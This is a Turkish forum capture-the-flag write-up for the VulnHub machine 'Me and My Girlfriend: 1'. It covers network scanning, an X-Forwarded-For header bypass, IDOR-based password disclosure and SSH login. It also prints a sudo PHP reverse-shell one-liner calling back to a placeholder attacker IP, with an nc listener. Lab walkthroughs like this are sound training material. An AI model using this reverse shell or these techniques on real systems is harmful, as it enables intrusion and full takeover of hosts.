Me and My Girlfriend: 1 WriteUp

PwnLab.Me

Admin
Katılım
21 Ocak 2024
Mesajlar
202
Tepkime puanı
9
Puanları
18
Can tarafından yazılmıştır.

[TR] Me and My Girlfriend: 1 WriteUp​


Selamlar herkese,geçen vulnhub makinemizde bir diğer basit makineyi çözmüştük. Bir sonraki yazımızda orta düzey bir makine çözmeyi planlıyoruz.

İzleyeceğimiz adımlar;​


Sistemi Tanıma,
Zaafiyeti bulma,
Sömürme ve yetki yükseltme olacaktır.

İlk adımımız Sistemi Tanıma


Ağ keşifi yaparak başlayalım.

Ağ keşfi için netdiscover isimli aracı kullanacağız.Konsola
sudo netdiscover
yazmanız yeterlidir.

1.png

Netdiscover ile ağ keşfi

İç ağımızı taradık ve zaafiyetli makinemizin ip adresine eriştik.Daha sonrasında NMAP aracını açık portları bulmak için kullanacağız.

2.png

nmap taraması

nmap -sS -sV ip_adresi

komutu ile NMAP’i başlatıyoruz.

Bir tanesi SSH, bir tanesi HTTP olmak üzere 2 tane servisimiz ayakta.

2. adım Sömürme

3.png

Source Code

Web servisini ziyaret edip kaynak kodlarına baktığımızda “Kimsin? Hacker? sadece bu siteye localden erişebilirsin” mesajı bizi karşılıyor. ardından

X-Forwarded-For

isimli bir HTTP headerının nasıl kullanılacağını araştırmamızı istemiş.

4.png

X-Forwarded-For: 127.0.0.1

Burpsuite aracımızı açıp,
X-Forwarded-For: 127.0.0.1
headerını ekliyoruz.Hatırlayacağınız üzere sadece localden erişebileceğimizi yazmıştı yorum satırında.

5.png

siteye erişim

Evet siteye eriştik
🙂
Siteye eriştiğimizde Login ve Register olmak üzere 2 adet seçenek bizi karşılıyor.

8.png

match and replace

Dilerseniz her requestte

X-Forwarded-For: 127.0.0.1

headerini otomatik olarak ekleyebiliriz. Proxy > Options > Match and Replace sekmesine gidip yeni bir header ekleyebiliriz.

6-1.png

register

Kayıt olup,giriş yaptıktan sonra user_id isimli bir parametre görüyoruz. Bu parametre Insecure Direct Object References zaafiyeti içeriyor.Bu zaafiyet ile saldırgan hedef kişinin hiçbir etkileşimi olmadan hesabına erişebilir,silebilir veya bilgileri editleyebilir.user_id parametresindeki değeri 11 olarak değiştirdim boş bir hesap çıktı,10,9,8,7,6,5 . user_id’si 5 olan kullanıcıya alice isimli kullanıcıya ulaştık.

9.png

insecure direct object reference ile alice kullanıcısının parolasına ulaştık

alice kullanıcısının parola bilgisine bakıyoruz, 4lic3 olduğunu buluyoruz.

Sistemi tanıma evresinde hatırlayacağınız üzere SSH servisimiz ayaktaydı.

ssh alice@ip_adresi

komutu ile ve IDOR zaafiyeti sayesinde bulduğumuz 4lic3 parolasıyla giriş yapalım.

10.png

ssh bağlantısı

ls -a yazdığımız zaman .my_secret isimli gizli bir dosya görüyoruz.

11.png

user flag

cd .my_secret komutu ile içerisine giriyoruz, ve 1. flagımızı alıyoruz.Makinemizde 2 adet flag bulunuyor. Biri user diğeri ise root flagı.

3. adım Yetki Yükseltme

sudo-l.png

ssh girişi

sudo -l komutunu kullanarak yetkilerimize bakıyoruz.ardından root olarak bir php çalıştırabileceğimizi görüyoruz.
sudo /usr/bin/php -r ‘$sock=fsockopen(“saldirgan_ip”,1234);exec(“/bin/sh -i <&3 >&3 2>&3”);’

alice olarak giriş yaptığımız konsola bu kodu yapıştıralım.

12.png

yetki yükseltme

şimdi ise saldırgan makinesinde portumuzu dinlemeye alalım

nc -lvp 1234

13.png

root

root olarak sisteme erişim sağladık ve root dizininde bulunan flagı okuduk.

Elimden geldiğince net anlatmaya çalıştım. Umarım anlaşılır olabilmişimdir. Herhangi bir sorunuz olursa twitter.com/pwnlabme adresinden ulaşabilirsiniz.
 
Moderatör tarafında düzenlendi:
Geri
Üst